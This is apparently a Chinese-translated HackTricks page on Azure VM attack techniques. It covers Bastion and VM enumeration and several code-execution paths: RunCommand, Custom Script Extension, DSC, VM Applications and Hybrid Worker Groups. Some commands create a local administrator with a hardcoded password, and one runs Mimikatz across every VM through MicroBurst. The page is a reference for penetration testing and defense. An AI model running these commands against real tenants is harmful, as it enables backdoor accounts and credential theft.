Az - Virtual Machines & Network

支持 HackTricks

基本信息

来自文档: Azure 虚拟机是 Azure 提供的几种按需、可扩展的计算资源之一。通常,当您需要比其他选择提供更多对计算环境的控制时,您会选择虚拟机。本文为您提供在创建虚拟机之前应考虑的信息,如何创建虚拟机以及如何管理虚拟机。

Azure 网络信息

Azure 网络包含不同的实体和配置方式。您可以在以下位置找到有关不同 Azure 网络实体的简要描述示例枚举命令:

Az - Azure Network

Azure 堡垒

Azure 堡垒提供了一个安全、完全托管的通过 Azure 门户使用 SSL 的 RDP (远程桌面协议) 和 SSH (安全外壳) 访问解决方案。它集成在 Azure 虚拟网络中,允许使用私有 IP 地址连接到 VM 的 RDP 和 SSH,避免了对公共 IP 的需求。这使其成为传统方法的更安全、更便捷的替代方案,传统方法涉及为 VM 访问配置公共 IP 地址和 NSG 规则。开发人员和 IT 人员可以使用他们的 Web 浏览器从 Azure 门户安全地访问 VM,简化了开发和测试环境的流程。

要列出订阅中的所有 Azure 堡垒主机,您可以使用以下命令:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

VM枚举

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

在虚拟机中运行命令

在虚拟机中进行AAD登录

可以允许通过AzureAD进行身份验证的用户访问。例如,尝试访问Linux虚拟机ssh username@azure-corp.com@1.1.1.1(重要的是使用在尝试登录时使用的azurecorp电子邮件),可能会出现错误:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

只需按照以下说明访问 https://microsoft.com/devicelogin 并输入代码,使用电子邮件和密码作为凭据,然后您就可以通过SSH连接(如果该用户具有足够的权限执行此操作:Virtual Machine Administrator LoginVirtual Machine User Login 角色)。

运行命令

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

运行自定义脚本扩展

Azure虚拟机(VM)扩展是提供在Azure VM上进行部署后配置和自动化任务的小型应用程序。例如,如果虚拟机需要软件安装、防病毒保护或在其中运行脚本的能力,您可以使用VM扩展。

因此,如果您有权限编写它,您可以执行任意代码:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC)是类似于Ansible的PowerShell工具,用于通过代码设置主机。DSC与Azure集成,允许上传特定配置文件。这些文件必须遵循严格的语法。值得注意的是,Azure中的DSC扩展可以执行来自符合特定格式标准的文件的命令,即使语法不符合DSC标准,如所示的图。

这些命令的执行由Az PowerShell中的Publish-AzVMDscConfiguration函数实现。要求包括一个带有定义函数的**.PS1文件,并且该文件必须被压缩成.zip**文件。即使语法可能不符合DSC的要求,代码仍将执行。但是,扩展将标记执行状态为“失败”,由于状态被失败消息覆盖,因此命令的输出将不可见。

VM应用程序定义

VM应用程序定义允许将经过版本化的应用程序重复部署到Azure VM。此资源支持在VM上部署和更新应用程序。要设置此功能,需要执行几个步骤,涉及Az PowerShell中的**New-AzGalleryApplicationNew-AzGalleryApplicationVersion**等命令。

通过此方法执行应用程序或命令涉及**“VMAppExtension”**,当应用程序应用到VM时,此扩展会自动安装。该扩展从指定的URI检索文件,并将其命名为应用程序的名称,不带扩展名。为了正确执行文件,必须配置REST API调用中的“ManageActions”字段以使用适当的扩展名重命名文件。一旦完成此方法的设置,其结构将类似于所提供的图示。

然而,此执行方法相对较慢,大约需要3-4分钟来执行一个应用程序或命令。与此过程相关的文件存储在特定目录中(C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\用于应用程序副本,C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\用于执行状态)。

这两种技术提供了在Azure环境中执行命令和部署应用程序的独特方法,每种方法都有自己的一套要求、步骤和考虑事项。

Azure中的混合工作组(HWGs)

混合工作组(HWGs)是Azure中的一个功能,允许在配置在自动化帐户中的Runbook在指定HWG的Azure虚拟机(VM)上执行。此执行通过安装在VM上的扩展实现,该扩展将Runbook代码部署到VM上。此过程的一个重要方面是实际凭据不影响执行,因为代码以提升的权限,特别是作为SYSTEM或root运行,如所提供的图示所示。

对于使用Windows 10 VM的用户的一个关键细节是必须为Runbook指定PowerShell版本。应将其设置为以PowerShell版本5.1运行,而不是7.1。这一要求源于Windows 10 VM上默认未安装PowerShell 7.1,如果指定了版本7.1,则会导致脚本执行失败。

Azure的这一功能为在混合环境中自动化和管理任务提供了强大的方法,允许在Azure VM上集中管理和执行任务。

参考资料

Last updated